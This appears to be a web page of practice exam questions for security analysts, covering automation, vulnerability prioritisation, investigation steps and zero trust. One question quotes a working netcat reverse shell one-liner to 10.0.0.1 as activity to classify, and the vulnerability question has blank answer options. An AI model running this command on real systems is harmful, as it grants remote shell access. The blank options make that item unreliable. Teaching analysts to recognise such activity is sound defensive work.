Which of the following security operations tasks are ideal for automation?

• A.Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolder
• B.Firewall IoC block actions:Examine the firewall logs for IoCs from the most recently published zero- day exploitTake mitigating actions in the firewall to block the behavior found in the logsFollow up on any false positives that were caused by the block rules
• C.Security application user errors:Search the error logs for signs of users having trouble with the security applicationLook up the user's phone numberCall the user to help with any questions about using the application
• D.Email header analysis:Check the email header for a phishing confidence metric greater than or equal to fiveAdd the domain of sender to the block listMove the email to quarantine

Comment: *

Name: *

Email: *

Verification: *

A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?

• A.Network pivoting
• B.Host scanning
• C.Privilege escalation
• D.Reverse shell

Comment: *

Name: *

Email: *

Verification: *

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:
Security Policy 1006: Vulnerability Management
1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

• A.
• B.
• C.
• D.

Comment: *

Name: *

Email: *

Verification: *

When starting an investigation, which of the following must be done first?

• A.Notify law enforcement
• B.Secure the scene
• C.Seize all related evidence
• D.Interview the witnesses

Comment: *

Name: *

Email: *

Verification: *

An organization is planning to adopt a zero-trust architecture. Which of the following is most aligned with this approach?

• A.Network segmentation to separate sensitive systems from the rest of the network.
• B.Whitelisting specific IP addresses that are allowed to access the network.
• C.Trusting users who successfully authenticate once with multifactor authentication.
• D.Automatically trusting internal network communications over external traffic.

Comment: *

Name: *

Email: *

Verification: *